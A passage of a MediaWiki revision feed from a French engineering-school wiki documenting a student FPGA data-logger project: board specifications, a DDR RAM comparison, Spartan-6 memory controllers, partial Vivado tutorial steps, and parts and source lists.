Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27576</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27576"/>
				<updated>2016-02-22T21:03:30Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Fichiers supplémentaires */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
